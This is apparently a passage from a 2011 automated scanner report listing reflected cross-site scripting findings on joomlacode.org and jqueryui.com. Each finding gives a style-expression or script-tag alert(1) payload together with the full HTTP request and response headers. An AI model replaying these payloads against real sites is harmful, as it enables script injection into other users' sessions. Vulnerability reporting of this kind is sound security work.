HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35783
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.127. http://joomlacode.org/gf/project/joomla/frs/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/frs/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93e96"style%3d"x%3aexpression(alert(1))"652b2f9725e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 93e96"style="x:expression(alert(1))"652b2f9725e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/frs/?93e96"style%3d"x%3aexpression(alert(1))"652b2f9725e=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35802
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.128. http://joomlacode.org/gf/project/joomla/mailman/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/mailman/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3169"style%3d"x%3aexpression(alert(1))"fe217adffb1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c3169"style="x:expression(alert(1))"fe217adffb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/mailman/?c3169"style%3d"x%3aexpression(alert(1))"fe217adffb1=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:29:32 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19043
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.129. http://joomlacode.org/gf/project/joomla/mailman/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/mailman/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cfcbc'style%3d'x%3aexpression(alert(1))'1670775646d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cfcbc'style='x:expression(alert(1))'1670775646d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/mailman/?cfcbc'style%3d'x%3aexpression(alert(1))'1670775646d=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:29:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19043
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.130. http://joomlacode.org/gf/project/joomla/reporting/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/reporting/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9725d"style%3d"x%3aexpression(alert(1))"ce70f89e3c3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9725d"style="x:expression(alert(1))"ce70f89e3c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/reporting/?9725d"style%3d"x%3aexpression(alert(1))"ce70f89e3c3=1 HTTP/1.1 Host: joomlacode.org Proxy-Connection: keep-alive Referer: http://joomlacode.org/gf/project/joomla/tracker/?3ee00%22style%3d%22x%3aexpression(alert(1))%22744e3c5545f=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.1.10.1295919318
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:02:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 19382
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.131. http://joomlacode.org/gf/project/joomla/tracker/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/tracker/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ee00"style%3d"x%3aexpression(alert(1))"744e3c5545f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3ee00"style="x:expression(alert(1))"744e3c5545f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/tracker/?3ee00"style%3d"x%3aexpression(alert(1))"744e3c5545f=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23539
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.132. http://joomlacode.org/gf/project/joomla/tracker/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/joomla/tracker/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f7a03'style%3d'x%3aexpression(alert(1))'9f2195e1359 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f7a03'style='x:expression(alert(1))'9f2195e1359 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/tracker/?f7a03'style%3d'x%3aexpression(alert(1))'9f2195e1359=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:37:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23539
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.133. http://joomlacode.org/gf/project/joomla/tracker/%3F3ee00%2522style%253D%2522x%253Aexpression(alert(1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7669b'style%3d'x%3aexpression(alert(1))'46fd3415584 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7669b'style='x:expression(alert(1))'46fd3415584 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/tracker/%3F3ee00%2522style%253D%2522x%253Aexpression(alert(1?7669b'style%3d'x%3aexpression(alert(1))'46fd3415584=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:20:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.134. http://joomlacode.org/gf/project/joomla/tracker/%3F3ee00%2522style%253D%2522x%253Aexpression(alert(1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5763"style%3d"x%3aexpression(alert(1))"34a90f5b234 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b5763"style="x:expression(alert(1))"34a90f5b234 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/joomla/tracker/%3F3ee00%2522style%253D%2522x%253Aexpression(alert(1?b5763"style%3d"x%3aexpression(alert(1))"34a90f5b234=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:20:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.135. http://joomlacode.org/gf/project/mambot_google1/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/mambot_google1/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf24d"style%3d"x%3aexpression(alert(1))"65979b9fed4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cf24d"style="x:expression(alert(1))"65979b9fed4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/mambot_google1/news/?cf24d"style%3d"x%3aexpression(alert(1))"65979b9fed4=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:47:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 26641
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.136. http://joomlacode.org/gf/project/mambot_google1/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/mambot_google1/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dd0d2'style%3d'x%3aexpression(alert(1))'c75ef3eb876 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dd0d2'style='x:expression(alert(1))'c75ef3eb876 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/mambot_google1/news/?dd0d2'style%3d'x%3aexpression(alert(1))'c75ef3eb876=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:47:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 26641
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.137. http://joomlacode.org/gf/project/opengallery/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/opengallery/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 40eae'style%3d'x%3aexpression(alert(1))'0f0be08920d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 40eae'style='x:expression(alert(1))'0f0be08920d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/opengallery/news/?40eae'style%3d'x%3aexpression(alert(1))'0f0be08920d=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:42:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 15926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.138. http://joomlacode.org/gf/project/opengallery/news/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/project/opengallery/news/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41731"style%3d"x%3aexpression(alert(1))"7f37426bd6a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 41731"style="x:expression(alert(1))"7f37426bd6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/project/opengallery/news/?41731"style%3d"x%3aexpression(alert(1))"7f37426bd6a=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:42:08 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 15926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4.139. http://joomlacode.org/gf/snippet/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://joomlacode.org
Path:
/gf/snippet/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ed9f"style%3d"x%3aexpression(alert(1))"8d782a550bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2ed9f"style="x:expression(alert(1))"8d782a550bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /gf/snippet/?2ed9f"style%3d"x%3aexpression(alert(1))"8d782a550bf=1 HTTP/1.1 Host: joomlacode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __gads=ID=9359d8f79e15ae5a:T=1295919318:S=ALNI_Mb9KeJU8eq3mD4PF_k88Atvfmn5hg; __utmz=13354156.1295919321.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/47; __utma=13354156.760811261.1295919318.1295919318.1295919318.1; __utmc=13354156; __utmb=13354156.5.10.1295919318;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 16:16:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 17883
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the bgColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eae11"><script>alert(1)</script>ebc3646c0ab was submitted in the bgColorActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9eae11"><script>alert(1)</script>ebc3646c0ab&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:43 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the bgColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df530"><script>alert(1)</script>25601c79a2e was submitted in the bgColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfddf530"><script>alert(1)</script>25601c79a2e&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:23 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the bgColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10283"><script>alert(1)</script>d2b773a3e6 was submitted in the bgColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc10283"><script>alert(1)</script>d2b773a3e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:49 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120173
The value of the bgColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33d2f"><script>alert(1)</script>fe81736995b was submitted in the bgColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
